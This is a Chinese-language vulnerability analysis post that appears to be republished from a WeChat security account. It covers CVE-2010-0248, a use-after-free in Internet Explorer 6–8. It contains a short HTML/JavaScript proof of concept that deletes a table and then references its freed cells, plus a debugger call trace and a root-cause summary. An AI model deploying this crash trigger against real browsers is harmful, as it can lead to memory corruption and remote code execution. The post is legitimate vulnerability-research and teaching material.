前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2010-0248-Poc分析

CVE-2010-0248-Poc分析

作者头像
鸿鹄实验室
发布2021-04-15 13:10:55
3100
发布2021-04-15 13:10:55
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

Microsoft Internet Explorer 6, 6 SP1, 7, 和 8版本没有适当地处理内存中的对象,这可能会允许远程攻击者通过访问(1)未被适当初始化的或(2)被删除的一个对象,执行任意代码。该漏洞会引起内存破坏,它又称为”未初始化内存漏洞”。

Poc

代码语言:javascript
复制
  1. <html>
  2. <body>
  3. <table id="test"> <tr></tr> </table>
  4. <script>
  5. Math.tan(2,3);
  6. var test = document.getElementById("test");
  7. Math.sin(0);
  8. var x = test.cells.item(0);
  9. Math.cos(0);
  10. test.outerText = 'test text'; // 删除表格
  11. Math.tan(2,3);
  12. x = test.cells.item(0); // 再试图引用表格的元素,此时将访问已释放的内存
  13. </script>
  14. </body>
  15. </html>

调用流程

代码语言:javascript
复制
  1. CTable::get_cells
  2. |
  3. ---> CTable::EnsureCollectionCache
  4. |
  5. ---> MemAlloc -> 05500fd8
  6. |
  7. ---> CCollectionCache::CCollectionCache

05500fd8+0xc 保存 CTable::EnsureCollections 结构

CTable::EnsureCollections结构+0xc -> 06a9cfc8 , 06a9cfc8+0x20 -> 063d0ee0

0x063d0ee0 -> mshtml!CTableLayout::’vftable’

0x06a9cfc8 -> mshtml!CTable::’vftable’

总结

第一次调用 var x = test.cells.item(0); 会创建 CTable::EnsureCollections

test.outerText = 'test text'; 删除表格后未将 CTable::EnsureCollections 对象清零,导致后面第二次 x = test.cells.item(0); 再次引用被释放的内存。

更多精彩推荐,请关注我们

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-11-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Poc
  • 调用流程
  • 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档